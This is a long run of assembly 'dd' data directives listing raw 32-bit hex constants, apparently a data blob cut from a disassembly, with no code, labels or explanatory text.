		dd 0E67974DFh, 9D6F316Dh, 4DC58258h, 48E0E318h,	2800D8F8h
		dd 1FEAA313h, 4D9B3DEBh, 21141CABh, 4307188Ah, 4055C8FEh
		dd 3D71CB77h, 79148650h, 6BFEA27Eh, 4B07BB02h, 60A0F2B0h
		dd 6AC1610h, 9411B356h,	0BE0798CDh, 0A6DE6C54h,	0F60DAF00h
		dd 15FA79h, 0B7F1A8A2h,	40414FDCh, 43FCA170h, 5C296500h
		dd 0BFE3FC56h, 7A700366h, 3D388291h, 0A287C7A0h, 0EC39F506h
		dd 1391A979h, 67757C2h,	0F8A34C39h, 85081B66h, 6FE40021h
		dd 0C8287B77h, 3704F74Dh, 9646F399h, 75602741h,	7DFFCB1h
		dd 49582290h, 1CC73CF1h, 14AD18Fh, 9E808CB8h, 76437DE8h
		dd 0DDC80C0Dh, 0A508063Ch, 0DFFD21C0h, 706A7Dh,	3D876636h
		dd 0D24ADB7Ch, 5F64800Ch, 3F1695Dh, 0BB39A4DCh,	4192528Ah
		dd 0BD24AA40h, 0F7BE49C0h, 0B1171BA4h, 0C5B100FCh, 0D859409Ch
		dd 50C23D0Ch, 0B2A908E8h, 31B06Ch, 879B769Ch, 0A179D56Ch
		dd 8ACDE1C0h, 92ABCEh, 9C82E19Fh, 2B4E5366h, 0AEA7DC00h
		dd 864358A1h, 56C7007Eh, 5EF50193h, 0AF0A69C0h,	84C8B98Dh
		dd 0E980D291h, 575567Dh, 0FEAB448Ch, 0FD7DE000h, 0B39CCC3Eh
		dd 0BB19C3B7h, 0BD888092h, 213505D2h, 68C08052h, 0B9697Bh
		dd 6EC447A3h, 0FB7AC178h, 23135400h, 0E103B197h, 93791D6Ch
		dd 0FF3A0165h, 0C8B02496h, 0B40073EFh, 2686C0D2h, 0C47F03h
		dd 91D8C6A0h, 435B5201h, 71E09900h, 0DE538845h,	7C8D76D9h
		dd 0D70707B8h, 0E335100Ch, 0B3A8850Eh, 9100694Ch, 88460223h
		dd 3AD50931h, 423C4926h, 60BB7300h, 6987C696h, 0AFDEAB18h
		dd 0C1086708h, 60951820h, 0DCD2D113h, 0EB7B52C9h, 0D983FD00h
		dd 56748F75h, 0CF4F03BEh, 45346790h, 0F353591Dh, 56BBA286h
		dd 226900A9h, 38DE3E6Ch, 0D61D4F73h, 6A0C7208h,	1AF2044h
		dd 58896BD3h, 83EFC1BCh, 85E0C6B9h, 0BE684C98h,	3E678326h
		dd 2718C862h, 1160AE18h, 889FC6A7h, 0C0058064h,	26B53760h
		dd 0DD54620Fh, 5374A04Fh, 0D1DB1Ch, 0D543B765h,	7B87E90h
		dd 2BA62600h, 0F25FE3A4h, 1941008Fh, 0C9D789F1h, 8106F9AEh
		dd 4948B326h, 0A46000A2h, 75AC9A41h, 9900B128h,	9476544Ah
		dd 3566D55h, 74F62CDBh,	0C1C06AB0h, 7130C778h, 769148DDh
		dd 0BC50C0DBh, 0F5DACA28h, 0D887150Bh, 8A1802E0h, 37D44038h
		dd 1D697960h, 0C34C4A3Ah, 793004BCh, 2C535001h,	75812544h
		dd 0DCC46180h, 7A3A6A5Dh, 31453822h, 0F90879E0h, 54964040h
		dd 0D400244Fh, 1531F625h, 6514DCh, 97F7E237h, 0CD037677h
		dd 7CC26F06h, 18F9A8A4h, 498341BBh, 8DF2E99h, 9AD6F700h
		dd 2CE9E7CBh, 0F69F78h,	746050Bh, 9300733Bh, 18BABF82h
		dd 0ED36C8h, 8716AD1Eh,	0E65CB968h, 0B44B401Ch,	144F3201h
		dd 0D3D40A78h, 21C03CA3h, 0D93EB980h, 0BD7244B7h, 740F3D74h
		dd 8CC4AC10h, 77E718CAh, 944105A2h, 0F48A5A6h, 0B0D210h
		dd 42C51C13h, 41B5BD7Ch, 36F3FC4Ch, 0CAA9740h, 736B19A6h
		dd 6E20D318h, 175D06CBh, 41181FE3h, 7E887300h, 0AFF3A697h
		dd 74A27F36h, 177030B0h, 8FA15920h, 0F2348600h,	71AA523Fh
		dd 3B13F8C4h, 0B81C54ABh, 17A88012h, 1C812325h,	0CED2E900h
		dd 2F4227D7h, 1700F2Ah,	9EE02D6Fh, 0EAC4EC4Ch, 69B26100h
		dd 348FB3C0h, 9B5612B5h, 31E03FFh, 2A86736h, 771F7921h
		dd 0FEC16FB4h, 0ED237411h, 85A1C8h, 8DD6C4C7h, 76DE40EFh
		dd 0B8DF5E07h, 8F90D2D9h, 7AEC8B12h, 0CD9F0F19h, 81637D31h
		dd 0A0FF34FDh, 0C3DD508h, 5A61E20Fh, 52B2007Ch,	30E00BE1h
		dd 0F458D90Dh, 60C30A44h, 80E889D8h, 6B2126h, 9BA19180h
		dd 354D7683h, 0F6175A04h, 0D0C0C551h, 599AD7h, 0DDCB4A6Ch
		dd 3B5A8AC3h, 7297D500h, 5CE07F91h, 48DF32h, 3D74DB0Ah
		dd 0EA1A0BC4h, 0C078D8DFh, 9EA347h, 0B5912013h,	0EA4C83FBh
		dd 28D9B930h, 1E1D43BDh, 307434CDh, 0B331ADA1h,	0F100E7E2h
		dd 486152AAh, 0DF8367h,	50EAAC43h, 8A1CEBBh, 5E72C6ECh
		dd 6CC7A400h, 0E83EFCF5h, 9F41CFFh, 2DFDC0A5h, 0AAD58BEAh
		dd 939F4301h, 39560A24h, 89DD0h, 0EB853CACh, 10C3BDEh
		dd 41C0DF0Fh, 60D8EC7Ah, 0D75B00E6h, 0E8F4804Eh, 0F000DC8Bh
		dd 1C9948C3h, 0EFA97840h, 5B8028BEh, 0B7048F13h, 37059C25h
		dd 1D299D3Ah, 0F89EFEC0h, 71280743h, 0EF754E5Eh, 41AAAD81h
		dd 3EF0E0CEh, 0B0BD1301h, 0E9CD1B53h, 31F81980h, 0FAAE3F92h
		dd 73062600h, 697A803Dh, 0D20B0039h, 0DE8719D0h, 0E6000F4Ch
		dd 8FE8A1C0h, 90C423F4h, 6EBEE9Ch, 50E5AA71h, 800200Dh
		dd 0EFC413Bh, 3754AEh, 0E8F1F22Fh, 43EC69C3h, 38BD0C30h
		dd 5052C5E2h, 76C08054h, 40DD0673h, 0F1EDB3E5h,	87514400h
		dd 81A558DAh, 3AF8E6h, 6DAB6105h, 189FEAC9h, 2A40650Eh
		dd 9D6C045h, 60E98ED2h,	8F8988D5h, 743D7968h, 4DF080F4h
		dd 0E3067BB5h, 86F2005Ch, 0CC28671Dh, 0D4009EACh, 0DA9606Ch
		dd 8D940h, 0DB3C69D3h, 0E259A67Bh, 7225DA48h, 4BBDEE01h
		dd 9882E0B5h, 60E83AECh, 4EA15841h, 2E7DEA8Ch, 0BA71FA0Bh
		dd 0F2B207AAh, 6328ACB6h, 0F4E51653h, 481C2000h, 61DD28C0h
		dd 0ACF8141Ah, 0B11EA12Fh, 0C7620064h, 79CBC33Ah, 0B900DD72h
		dd 0EA95656Ch, 7F680E6h, 0F77FD657h, 0FF2C7055h, 0F916E83Fh
		dd 2501F8F2h, 2BF1B1C9h, 6846EDCh, 0BF424A72h, 0AF006859h
		dd 4EE65552h, 1E4871A2h, 6661DCBh, 10708646h, 7F65A61Bh
		dd 44E910D0h, 42D90095h
		dd 41B41449h, 2A813A5Ch, 23BA6C00h, 9FC12E69h, 0F58FA07h
		dd 34703362h, 1DCBB46h,	0DB7C75FCh, 0E8835F52h,	3C002379h
		dd 0BB8A9AB4h, 0C7AE8FF8h, 60012E38h, 77A60555h, 0BC607E18h
		dd 729F7918h, 304A0071h, 59BBB544h, 0B300A4A7h,	6F6E02FFh
		dd 17E631h, 85D3FEC1h, 0E0D21EC4h, 82909F00h, 0CC71953Bh
		dd 5540F21h, 6C80DB66h,	0F2EAE81Fh, 26C50C0Bh, 27E1808Bh
		dd 1EF5FC0h, 4897B616h,	0E8F11386h, 820CD810h, 91AD45EDh
		dd 0D9640FF5h, 0CD00A41Ch, 2E9C0302h, 0E05BF400h, 97921D55h
		dd 0B1A20013h, 0A0C38FEh, 0A00E3DFDh, 80282D78h, 0D1F0675Fh
		dd 183F67B5h, 9296136Ah, 31A4FEE0h, 3A407B00h, 99EB66DBh
		dd 647C48h, 0E58A0A3Dh,	90B18E49h, 57B27301h, 6D1DB734h
		dd 812BF8h, 1A30D8E7h, 0DB4475FBh, 0FF4EE304h, 61A4B12h
		dd 0F879E961h, 0DB0041FBh, 0D13473A8h, 0A3BFBDh, 0F8F5B8Eh
		dd 0BAFB6048h, 40C35100h, 7F8D5F3Dh, 50EC3E9Ch,	8610D03h
		dd 0C80C3833h, 0A125F6FEh, 1478392Ah, 2E5619E0h, 8F30FF19h
		dd 0E62810E2h, 0A028C06Ah, 0CCB9F6E4h, 0B5D8480Dh, 0DDF020F9h
		dd 0E7511E22h, 140C80CBh, 34DFE560h, 2646F0C1h,	3FC86257h
		dd 0F3710FBAh, 0EE80EC16h, 362263CAh, 0EB7A5606h, 29802B1Dh
		dd 824BF50h, 3F01473Ah,	0D80878E6h, 0FE3397F7h,	81301822h
		dd 2DB894Bh, 49431F36h,	0E00487B0h, 0A1136278h,	0E8004FF8h
		dd 924D5EA4h, 4C96B994h, 17C4138h, 4816E6DFh, 0F8AADCA2h
		dd 0EC00997Dh, 5A58BD2Ah, 49A6CFh, 38F11178h, 6F7A64E6h
		dd 651EE0Fh, 0A9582068h, 72C45C93h, 0C7700348h,	0B8DE9EDDh
		dd 0D0CAB7C8h, 66203403h, 0D8289F6Dh, 0A5AC69h,	0DDFC8EC0h
		dd 50382503h, 0E0559C0Eh, 0E4AE037Ch, 0DA1803CBh, 0FD94E1EBh
		dd 0A94ECA7h, 0A3B4B900h, 3AA0A9A1h, 0A29A000Bh, 49FED9FFh
		dd 860060E4h, 0E9695B1Eh, 387D3F23h, 779E504h, 0FDC4FB91h
		dd 0CA67F3BCh, 4D4362E8h, 985AF401h, 4C659C94h,	0CCA8DCh
		dd 0DCA50313h, 8B84537Dh, 0C567E02Eh, 99DD5D00h, 4E4B63B6h
		dd 0A205C0C2h, 1274DF29h, 8AF09A00h, 871731F5h,	92EB00F3h
		dd 4F801196h, 0C8A26826h, 0E54AA000h, 1B00C8F8h, 0C12CFA7Ch
		dd 0B9C959h, 89C52395h,	0A80D465Fh, 0E5AB2E00h,	8552FE60h
		dd 22C800EFh, 0CCC4273Eh, 1EC68DCh, 49F1AA00h, 0C5F0909Ch
		dd 0B0081D94h, 54D7C28Fh, 44925E8h, 0F7AFD859h,	4DE5DA00h
		dd 7915AEABh, 0B5C50035h, 0CCA98223h, 0B705F9B6h, 0EB91769Ch
		dd 57E5B800h, 916B0EDh,	0EC80279Fh, 994C2C22h, 40AA2084h
		dd 0BC0A6C11h, 0F022005Ah, 2B7B47B4h, 0AA006F8Ah, 0D160E239h
		dd 0E7B164h, 0D014A35Bh, 0B8255AC8h, 46C31B00h,	38F2E929h
		dd 71FFFA49h, 2721C03Dh, 7B5DB1BAh, 6041DF00h, 0FBACBCEDh
		dd 286200BEh, 0D352B8C2h, 6EC1977h, 0D9783900h,	0D291AC2Eh
		dd 0F1E21D79h, 0FD14805Ah, 6DBE9A9Dh, 0E3A4A600h, 0BCC2BBB7h
		dd 9FEE0330h, 0E5E66720h, 101EEAABh, 1A007F9Ch,	0ACC64BD3h
		dd 7414EA77h, 35A900BCh, 0F77E117Bh, 0DB26C4E0h, 5C0013DDh
		dd 0BE29C28Ah, 0BB571E8Bh, 0DAC500B3h, 27DD2012h, 0E3945900h
		dd 8B0169A2h, 0B25A241Ch, 981F0108h, 20F8E0B3h,	0D248E39Ch
		dd 0D8DC007Ch, 1F76CBD9h, 939002Ch, 3BB2E951h, 581C9AF2h
		dd 0F7537CBBh, 0AD471840h, 0EB1D5Eh, 2A18839Eh,	2910A9FFh
		dd 0A3D7C100h, 1C3B11F1h, 6A8B0075h, 702BB9B5h,	700D45Fh
		dd 0C9BDAB57h, 10EE3Fh,	0AF033EAh, 2FCA219Ah, 95FDAD24h
		dd 0C81F6A0Ch, 0DAE60610h, 0A8E1163Ch, 85DF2F0Ch, 82704Ah
		dd 0D666CC35h, 0B96FD717h, 9A10AA00h, 9DD86101h, 0CCE41CF4h
		dd 6D440C5h, 37A48E04h,	0FFFBA000h, 8A196903h, 0AD7900D6h
		dd 6669ABCh, 6C00F992h,	7F37C31Ah, 0E12636Fh, 0D48E57A3h
		dd 0FA2E3500h, 7C0E0165h, 0A0D67B06h, 0FFDE33Bh, 0BBEE0708h
		dd 206954C6h, 0B534907Ch, 6CD8FF00h, 4A064FB6h,	0A36D043Ah
		dd 80FBABC0h, 3BCD2B6Ch, 0F400EE71h, 981AF89Fh,	7279A92h
		dd 25132203h, 0DD64C324h, 0CC5ABBE9h, 1D00B31Ch, 42F5D7BFh
		dd 3D218Dh, 7A13D826h, 22F67B5h, 0BB275E00h, 849F98DFh
		dd 4D8EBAAh, 7E4F074Bh,	0A0E26333h, 0EEB274FCh,	0A19F700h
		dd 0BB1CEBDBh, 3C93EEE5h, 1D839B35h, 6BA6CC04h,	8AD571F8h
		dd 47F24800h, 3C06EE45h, 0A2DE0FA0h, 3DE118F0h,	0FEA5405Ah
		dd 70E2D381h, 0DE23C0DFh, 0E4502501h, 0BE1D6427h, 0ECCC5171h
		dd 0E7CD393Fh, 79FDD80h, 0F3750833h, 0F5B1100h,	0A3EB6DD4h
		dd 93360018h, 1BF2DDEFh, 0B70E1656h, 0AED9CA31h, 0C09DEE5Dh
		dd 4457CFF1h, 945804CBh, 88492609h, 6730324Ch, 5B8AF8D0h
		dd 6C01004Dh, 0AF31C80Fh, 6011317h, 9F841C83h, 0C850A59Dh
		dd 2BCD24h, 3FC1305Dh, 0F084CBEh, 7B00E9F2h, 3B61B6C0h
		dd 5986B03Ah, 4A3D1019h, 0BA55DC80h, 6AAB289Eh,	2F0F2500h
		dd 0CC302A97h, 0BD5C396Dh, 0F88C9880h, 0A9E79A01h, 24DE3800h
		dd 0DB6958F5h, 0BBFD1260h, 0CDAC0030h, 7938989Eh, 46B7AF04h
		dd 0D090D4A6h, 0EC7DFBEAh, 7E660073h, 0DADB21A0h, 281D8C72h
		dd 0D7DCB0A5h, 6B992C19h, 35637E8h, 0D23BAEBAh,	31C87B4Ch
		dd 14000E05h, 9888D72Eh, 4AC201h, 0DDD81645h, 12B4E494h
		dd 1E26BE0Eh, 0AB7DE0A5h, 7458479h, 4F9BB1A7h, 6B714134h
		dd 77CC34D6h, 0E1F9C00h, 0D0C766CFh, 7C800090h,	2793D42Dh
		dd 0D91C8684h, 0E0815AB0h, 0BE6F8D73h, 1DAAC4h,	0A0708FE6h
		dd 0EED15B1Ah, 0F8494C00h, 0A268DE61h, 0F9C86FAAh, 47D8861Fh
		dd 7D0BD8E2h, 236140EDh, 0B02DFD44h, 0EB13993h,	9FE26942h
		dd 0C0E85B65h, 9B8A2440h, 0CB7670EBh, 18787E0Eh, 26DA2053h
		dd 48F8D0D4h, 0B10078ECh, 0B02749B4h, 0E0F2443Fh, 0CC3B48h
		dd 0AB518DF4h, 53C092h,	0A647437Ch, 2C48C167h, 26E3613Ah
		dd 506EB0E5h, 6D0BBCA8h, 27429Ah, 0EF6A1960h, 4F47FC0Eh
		dd 1225A812h, 8901h, 0B4729A70h, 74FF1D4Bh, 2A6D422Eh
		dd 0E48032D2h, 0E7F4EDA1h, 0A9817200h, 16C83085h, 900426C3h
		dd 875A125Bh, 477C10B8h, 6304A225h, 823216C2h, 20B71091h
		dd 4C08BDD4h, 1C0E093h,	0E555DD72h, 88B84854h, 0EC9D9300h
		dd 0DE0F0BB2h, 913A382Dh, 777FBD01h, 0E004CB8Fh, 2B78AB65h
		dd 22382606h, 75584078h, 0D7F30CF8h, 4B9809D2h,	0E7B5671Dh
		dd 9B546501h, 5FF8AB7Bh, 686E00F6h, 24FFDB19h, 5D1ED829h
		dd 0C000F450h, 2756A612h, 7B4F00DDh, 0FA70581Bh, 0E403A175h
		dd 91A09CB1h, 43E2C002h, 4D960054h, 0A4CC379Ah,	4000478Ch
		dd 9CE18A44h, 3E1DA6B1h, 214A7C59h, 0D82ACA08h,	3900125Bh
		dd 4EE0923h, 2646F90Eh,	40101121h, 17C6B51Bh, 3DCD802h
		dd 8563B485h, 0C084B9F4h, 64BCF442h, 287BE00Eh,	540D2E2Bh
		dd 36CA8168h, 22B970B3h, 0F88900C4h, 38917247h,	5997006Ch
		dd 0BCC25A8h, 3B50C198h, 0D1649C4h, 8C1018FAh, 0AC20E4h
		dd 7076DDA2h, 69C07F3Ch, 25785200h, 0F6AAD142h,	0B067009h
		dd 0A8988BC8h, 803C3C8Ah, 4B76A4EEh, 13F243DDh,	58DB0703h
		dd 0E02E59h, 694C5620h,	31C2E60Bh, 0A7861B0Eh, 0C8248097h
		dd 0E3BCB80h, 0A81C54E8h, 6AD84156h, 20BC437Ah,	0E301021Ah
		dd 0E699C8CFh, 66F98F08h, 34803433h, 5073B5D0h,	0B3E2FE00h
		dd 84CB06CCh, 64B90077h, 0A70465AFh, 0BE0F18B7h, 16A6BA2Fh
		dd 1DC9D000h, 56FEA0h
		dd 0E6F59115h, 0A317E746h, 0DA583B00h, 8AD384D8h, 2C01004Ah
		dd 44DFA13h, 0D903F287h, 0FFEBF3C4h, 6E4C00F6h,	7D1F2EE7h
		dd 26581E5Bh, 0D0AF0220h, 876C6B06h, 0B191DAB5h, 0AC74A6EDh
		dd 8B9A3C5Bh, 0B0857491h, 33C68Ah, 0EB3227Ch, 98B4D907h
		dd 362828B2h, 6C04DC7Dh, 1F677CB9h, 0C816FC80h,	0D0B7139Eh
		dd 0AD644050h, 3C3F73DEh, 4002948h, 0A0982A91h,	0F89E1C80h
		dd 8690004Ch, 9B1EF613h, 0A60CA5Dh, 8D3BC638h, 64917A6h
		dd 24D8546Eh, 19FBC0E1h, 138D480Ch, 1D8C6FE1h, 57A6003Ch
		dd 15EA6299h, 0CB239501h, 900A3086h, 0A2B2824h,	80D9732Ch
		dd 3AA960F4h, 1712BBA4h, 2C402589h, 684A070Bh, 43C300F3h
		dd 7260E4FCh, 651E5E16h, 6140AD27h, 84B39E9Fh, 6B73B58h
		dd 6294E980h, 0AB834D5h, 0E4F12D00h, 0AE93CEFBh, 0B69C1F60h
		dd 0E9528046h, 31207ED8h, 0A42D8C00h, 373369CDh, 70421DBAh
		dd 0FAEC4060h, 297D1C43h, 44FC3C00h, 0E715E6DEh, 0F4DB00C2h
		dd 3BB88FD5h, 4F79D0D1h, 0D8248900h, 989F9A11h,	85E9006Eh
		dd 37C31975h, 0F8006DF9h, 0AC992992h, 3E67A8CFh, 0D18161EAh
		dd 0C9E9E541h, 7588D8E0h, 0A2730900h, 5574F39h,	0DA1C1736h
		dd 87850166h, 0C9BAAB27h, 183C0Bh, 7942CAA0h, 1681751Fh
		dd 0EE051Ch, 8F8AE668h,	3000C19Bh, 0F145C9A7h, 0E5F06ECh
		dd 184EB5D9h, 0CAD21E0h, 0A80EB79Ah, 61F7B6DAh,	0F35AC313h
		dd 0D04D083Ch, 0F8066909h, 14A5CCC0h, 0A7660A03h, 0A364097Ch
		dd 0F6FDABD2h, 3797B21h, 5B8E9835h, 803A492h, 0E5C4A3C8h
		dd 0CA18B19h, 6E2CAE28h, 0A40032C1h, 3D88D39h, 0DB224Eh
		dd 0B18E29C6h, 5BFE9BC3h, 5C24F100h, 2C9C35BBh,	9E08014Fh
		dd 1C73BAFAh, 9684414Ah, 2767C45Eh, 0C47E6C00h,	21B1E6B2h
		dd 60DAF024h, 0DE9C9A0h, 0C601309Bh, 6E602E9Ah,	0EAC5B2ADh
		dd 0EB672181h, 8E9432FEh, 82A51A90h, 80D3E113h,	51E9F65Ch
		dd 832803EAh, 0D927C156h, 0EDBF6EB8h, 3C2BCE10h, 0F7CAE700h
		dd 686FC0E0h, 0D0B65Ch,	0FD124C03h, 0E067A2D0h,	0D9630039h
		dd 7AF1E9A5h, 0DDE07572h, 12D3FC00h, 89CF583Ch,	0F45F0064h
		dd 717D94A2h, 0B2FE29F5h, 1DC5A63Ah, 0A880FC91h, 0A343A185h
		dd 76640017h, 45585A3Dh, 3FFCD46Eh, 3DB1D73Ah, 7B25C63h
		dd 0C0F3C7EFh, 5BA27DC0h, 828C0028h, 71DFA85Ah,	0C9249FA9h
		dd 88245526h, 4FAC7F00h, 1E95F4ABh, 1D9E3697h, 875A00C6h
		dd 0ADFC20EBh, 0B2508F00h, 0B475B36Dh, 6714050Ch, 0A4F3996Ah
		dd 0F2008048h, 0A4A77127h, 651B2E07h, 0D04F08ADh, 28905B74h
		dd 0C094D000h, 894DE0CEh, 7A9F07FFh, 0F10346E8h, 0F5F6CDBDh
		dd 0BA308066h, 0D6D34B60h, 0F958011Eh, 0E5D848D4h, 73A860ACh
		dd 0F3909D09h, 0DD20E037h, 0C4260097h, 0EA5E86A3h, 3F28BEAEh
		dd 6E0010EBh, 0A5BC114Fh, 31DDEF6h, 432C79D3h, 7107DB3Ah
		dd 2D31DFA0h, 2EB7E140h, 0FBB100A1h, 4011ED9Ah,	8D18A33Dh
		dd 0B8182A19h, 41EB38D4h, 0E0DD280Fh, 80344A9h,	80E0E81Fh
		dd 0D2005282h, 0CD045E64h, 0F87D61h, 0E46E96BFh, 320C1AE6h
		dd 0A700A9E0h, 0DF08DDCBh, 0F85A7EC0h, 41E0040h, 0CF33A89Dh
		dd 0AD0047CDh, 0B5705602h, 509BF2D1h, 45AE4Ch, 7A37FEF4h
		dd 32593E84h, 0B3440718h, 1018638h, 0FF212326h,	8080165Ch
		dd 0CF8A3F50h, 5060FEBBh, 1FC129h, 0C195EBFFh, 0B847E105h
		dd 96898300h, 3A46570Ch, 692F000Fh, 209ADD14h, 99DCD165h
		dd 60400A9Ch, 3977D3A2h, 9171FCh, 57BC4E12h, 4D63B044h
		dd 3254C31Ch, 0CE671384h, 1CDF8300h, 790E86E6h,	60D891ADh
		dd 0E20D549Ah, 4B480009h, 755F1D9Dh, 7E7A84B7h,	93DFC300h
		dd 0F5D4BD47h, 950B307Bh, 0B20D9148h, 23B37900h, 0BE75DC13h
		dd 4C4200E0h, 9A5F6925h, 0F8176BF7h, 0A418ACCDh, 1C8D07B9h
		dd 8EBD5593h, 0ED208E1Dh, 0AE512199h, 0F55EA800h, 0D57CD779h
		dd 0D44D0085h, 0DB6A3D03h, 0D0011CD1h, 0AABE81C8h, 50807EF5h
		dd 0C2D8BDAEh, 980058DCh, 4850756Fh, 9173E3h, 662411FAh
		dd 15DF61A9h, 0F9F8EEE4h, 232D511Fh, 0A85CBB01h, 97F00CB7h
		dd 7C7A75D7h, 5D060026h, 0FF8069C4h, 0D300B448h, 166A58F8h
		dd 7ACB293h, 7ADF9CA2h,	78087C60h, 3620E660h, 6EAB50h
		dd 0E0941DDh, 5788603Bh, 6DFB7600h, 16D1A313h, 5935016Bh
		dd 0D8C2F561h, 6420C071h, 88B8CB36h, 0DA30C048h, 0AA60E869h
		dd 0A5F841C0h, 3408F44h, 0D9DCAE88h, 0A3A17FBAh, 3220875Bh
		dd 24B044B6h, 0C1380h, 4048F569h, 370EAABCh, 0DFD05701h
		dd 0D55D0BBBh, 3B4AD080h, 7496912Ah, 0DE8EFC0Ch, 137A08EBh
		dd 58FB75h, 0F1C72ADDh,	310A2B94h, 90084AECh, 75218C20h
		dd 0B2BC81AFh, 18C4A29Fh, 0EDFB403Ch, 0E620A96Fh, 0E16B67h
		dd 77F3095h, 3FEB8874h,	9A615601h, 576AE840h, 50F714ECh
		dd 0E21ED80Bh, 12420067h, 0EBC8BA88h, 0EC010E5Eh, 64F68743h
		dd 7CE43DD5h, 1EE800F5h, 8DC654EEh, 0F0000617h,	18F3CC28h
		dd 1E4499B0h, 0C0B73C6Eh, 0D664DA7Eh, 0AB00B81Dh, 77E0BFB2h
		dd 0F48F6F35h, 0EAD700A4h, 25C01099h, 0F6003C8Dh, 6C47CEC4h
		dd 9F4DD1h, 74DCCB67h, 55BC310Ch, 0DE106F01h, 0F424A903h
		dd 2C62CDCCh, 74B451h, 0A8A55E63h, 0F1001458h, 45C556FDh
		dd 0FA7A03h, 0E04B128Eh, 9DC6E9FFh, 76097100h, 0B9FE3701h
		dd 848A0CF3h, 0BD415080h, 44DB4A1Dh, 0F6660B80h, 0BD6C848h
		dd 0D0C9EAAEh, 0E85EAC80h, 9E00ADB3h, 0D5CEF3A8h, 2C5B3672h
		dd 53A5E7h, 0AAEE1F97h,	0A400B371h, 902F2067h, 0B08C5E93h
		dd 0F8A3E626h, 756C0030h, 0F8D1CE88h, 3F03FF0Bh, 9793E8F0h
		dd 0B333B8FEh, 0DD210035h, 142A6BDAh, 5100814Ah, 6CD53269h
		dd 0C06566C4h, 8496F618h, 1C0E38F2h, 0E07E4AC3h, 4094DE22h
		dd 0A40E066Bh, 0E163D48Bh, 8E560B07h, 49705B7Fh, 0B93698h
		dd 4B22D626h, 0F3F69230h, 0F793F13Ch, 0E665A000h, 80C3BBA3h
		dd 0A9600049h, 40881922h, 0FC00E0F0h, 13C54C50h, 0F510F98Eh
		dd 0C6D270h, 62862A90h,	14F18B30h, 63B23B1Fh, 0FE42AE03h
		dd 1E18708Fh, 0C35D5E3Ah, 0A535E896h, 0BCC053A3h, 31FA8F51h
		dd 0BB9D630Ch, 60F50971h, 0DFB12095h, 0CF301A8Ah, 0CA1250BAh
		dd 9C8B312Fh, 0BC575941h, 6E481E58h, 0BF31B080h, 3989F8Bh
		dd 0C87F2156h, 18C0F120h, 1C00859Bh, 45BECBBDh,	0B267C6h
		dd 6188FBDBh, 0F103C042h, 49875E01h, 53A459BBh,	0A1CF3600h
		dd 7C277737h, 2B2229B0h, 498530A2h, 0A1F75420h,	8C0DF200h
		dd 0E9AD108Ah, 2C020078h, 0BF8DE850h, 0F8C18B27h, 0BE717B56h
		dd 0D6C3C080h, 4C7E1F62h, 1B65230Eh, 9F97C073h,	17E53919h
		dd 0ACF330F6h, 83A90FA8h, 0BAD60731h, 721B0110h, 1312E02Dh
		dd 14187EC6h, 77002BEFh, 3546CD5Ah, 6900C072h, 0D389BE6Ah
		dd 56D815h, 86EC6042h, 0C5E19BE9h, 80B0170Bh, 9970CAEh
		dd 20EB607Ah, 9FC7273Bh, 0A8148700h, 3436E7EDh,	0ADE0F731h
		dd 4F441D81h, 7947405Ch, 0D7848ACh, 7BD6EC18h, 0FC0A0940h
		dd 156803A1h, 1FB7E3C2h, 71990818h, 0E81B6F20h,	935900D3h
		dd 85EE6428h, 0E9008817h, 679E6A7Bh, 6D56562h, 94D6D76Fh
		dd 983958E3h, 74880747h, 81A0E653h, 0EFFF705h, 4240AF8Dh
		dd 2D82B2E3h, 0F2762BF8h, 49D0E300h, 78445803h,	4BA003EBh
		dd 0EA99DD3Dh, 11A65003h, 0D00C4292h, 3A05076Fh, 0D9306A75h
		dd 92954521h, 0F1B29603h
		dd 44AC0BC1h, 37BA0F8h,	93CE7F75h, 10078440h, 4C96A10Bh
		dd 51BEF590h, 0EEA30C97h, 4AD91357h, 0DCA99900h, 73C00E61h
		dd 0EB143D5Fh, 9B060380h, 8FABF6Ch, 39004F78h, 68C4783Fh
		dd 3E5E72h, 38B16152h, 0CB542E3Bh, 5C3B4B73h, 87760083h
		dd 0E1BBA04Ch, 0D04A00EDh, 807F02E6h, 400EF75h,	172666ACh
		dd 34B402Ah, 29F2311Ah,	96804C02h, 0C4039E14h, 1671528Fh
		dd 7940C0D2h, 0CA800076h, 7AB7C893h, 0EF0FFD3Fh, 43C9163Ch
		dd 0B013C765h, 1A9A8Ah,	8147BA89h, 8C1F4B43h, 0B0AEE409h
		dd 0C0C40018h, 14AD6F7h, 92B389E5h, 21BE57C7h, 0D81880CCh
		dd 0B46177F6h, 8398A0h,	0E5641B50h, 0A5B84EAEh,	0B20F9500h
		dd 0A03C36BCh, 0D3E900DAh, 0C441C8A7h, 3400CCA2h, 0EA501944h
		dd 24801ECh, 9C5FFE14h,	0D6833A5Eh, 2BE1DB6Dh, 0DE0EE74h
		dd 301B5E9h, 93443045h,	99F84808h, 1EB31849h, 0AD4EB8B7h
		dd 3663E000h, 8D3ECDBFh, 897AB2h, 5DFFBD4Fh, 6D71370h
		dd 3F3E5AF8h, 0A86080EFh, 9003CB72h, 9AB7053Ah,	0C09BD323h
		dd 609806CEh, 0CB53E103h, 810F278Dh, 0C07F0B65h, 184F92CCh
		dd 4DDE3601h, 8528B45h,	2E485080h, 0F5D198B8h, 0A7A8FE00h
		dd 0F2393B17h, 0B3693006h, 0CA44E20h, 0C4023A00h, 49D675Dh
		dd 7C420CAFh, 0B6780DDAh, 0D70FDF98h, 2E494Bh, 231CC140h
		dd 728B0EB3h, 0A6816792h, 814CE27Ch, 2DC62020h,	6BFC9686h
		dd 0FCCB0026h, 93810705h, 46687C5Bh, 0B05E2C48h, 802C88EDh
		dd 2BFEC7h, 0CFBCAEECh,	0B0E77B3h, 20D16E00h, 4DBF7187h
		dd 0A038E06Ch, 0F4C5988h, 0D081B1D7h, 60A36600h, 10C306D6h
		dd 0C0AEC9E2h, 48DA3F09h, 0C1002E27h, 70D8348Dh, 150F12DEh
		dd 20C93856h, 0C517E46Ch, 0C090176h, 7571F6ADh,	0AE0CB4Dh
		dd 5E008882h, 0D4FB9AF1h, 76C077h, 0C71B352Ch, 0B3519403h
		dd 8D687200h, 34E64CC8h, 8E90ECh, 550D45C4h, 0BD908E2Eh
		dd 0D917C100h, 0B3A0F562h, 0F8DD002Bh, 0F9E4952Fh, 367E7A0Bh
		dd 9D0FF30Ch, 1D79B6E5h, 80BEE9FEh, 0B1F28FACh,	0F9FA6C5Bh
		dd 0B2D8F807h, 0EBC09A1Ch, 386DCDBh, 25F1AD11h,	0FEFBF3E7h
		dd 0DAA6BE80h, 4CCB010Fh, 2070CF13h, 0EEF4CCDDh, 0A91103FEh
